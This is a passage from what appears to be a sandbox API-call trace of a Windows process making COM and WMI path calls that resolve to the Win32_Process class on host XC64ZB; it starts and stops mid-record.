Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0104.354] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0104.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b0d0) returned 0x0 [0104.354] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b0d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.355] WbemDefPath:IUnknown:Release (This=0x1b48b0d0) returned 0x3 [0104.355] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0104.355] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0104.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0104.355] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0104.355] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0104.355] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0104.355] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655c70) returned 0x0 [0104.355] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0104.355] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0104.355] WbemDefPath:IWbemPath:SetText (This=0x655c70, uMode=0x4, pszPath="") returned 0x0 [0104.355] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0104.355] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0104.355] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0104.355] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.356] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b050) returned 0x0 [0104.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b050, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0104.356] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b050, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656570) returned 0x0 [0104.356] WbemDefPath:IUnknown:Release (This=0x1b48b050) returned 0x0 [0104.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656570) returned 0x0 [0104.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0104.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0104.357] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0104.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0104.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0104.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b5d0) returned 0x0 [0104.357] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b5d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.357] WbemDefPath:IUnknown:Release (This=0x1b48b5d0) returned 0x3 [0104.357] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0104.357] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0104.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0104.357] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0104.357] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0104.358] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0104.358] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x656570, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656570) returned 0x0 [0104.358] WbemDefPath:IUnknown:AddRef (This=0x656570) returned 0x3 [0104.358] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x2 [0104.358] WbemDefPath:IWbemPath:SetText (This=0x656570, uMode=0x4, pszPath="") returned 0x0 [0104.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0104.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0104.358] WbemDefPath:IWbemPath:GetClassName (in: This=0x656570, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0104.358] WbemDefPath:IWbemPath:GetServer (in: This=0x656570, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0104.360] WbemDefPath:IWbemPath:SetServer (This=0x656570, Name="XC64ZB") returned 0x0 [0104.360] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0104.360] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0104.360] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0104.360] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.361] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b370) returned 0x0 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b370, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0104.361] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b370, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656870) returned 0x0 [0104.361] WbemDefPath:IUnknown:Release (This=0x1b48b370) returned 0x0 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656870) returned 0x0 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0104.361] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b5f0) returned 0x0 [0104.361] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b5f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.361] WbemDefPath:IUnknown:Release (This=0x1b48b5f0) returned 0x3 [0104.361] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0104.361] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0104.361] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0104.362] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0104.362] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0104.362] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0104.362] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0104.362] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656870) returned 0x0 [0104.362] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0104.362] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0104.362] WbemDefPath:IWbemPath:SetText (This=0x656870, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0104.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0104.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0104.362] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0104.362] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0104.362] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656570) returned 0x0 [0104.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0104.363] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656870, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0104.363] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656870, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0104.363] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656570, uIndex=0x0, pszName="ROOT") returned 0x0 [0104.363] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656870, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0104.363] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656870, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0104.363] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656570, uIndex=0x1, pszName="CIMV2") returned 0x0 [0104.363] WbemDefPath:IWbemPath:GetClassName (in: This=0x656570, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0104.364] WbemDefPath:IWbemPath:SetClassName (This=0x656570, Name="Win32_Process") returned 0x0 [0104.364] WbemDefPath:IWbemPath:GetInfo (in: This=0x656570, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetInfo (in: This=0x656570, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0104.365] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0104.366] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0104.366] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0104.366] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0104.366] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0104.366] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0104.366] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.366] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b48b210) returned 0x0 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b210, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0104.367] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b210, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x6566f0) returned 0x0 [0104.367] WbemDefPath:IUnknown:Release (This=0x1b48b210) returned 0x0 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x6566f0) returned 0x0 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0104.367] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0104.367] WbemDefPath:IUnknown:QueryInterface (in: This=0x6566f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b48b710) returned 0x0 [0104.367] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b710, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, 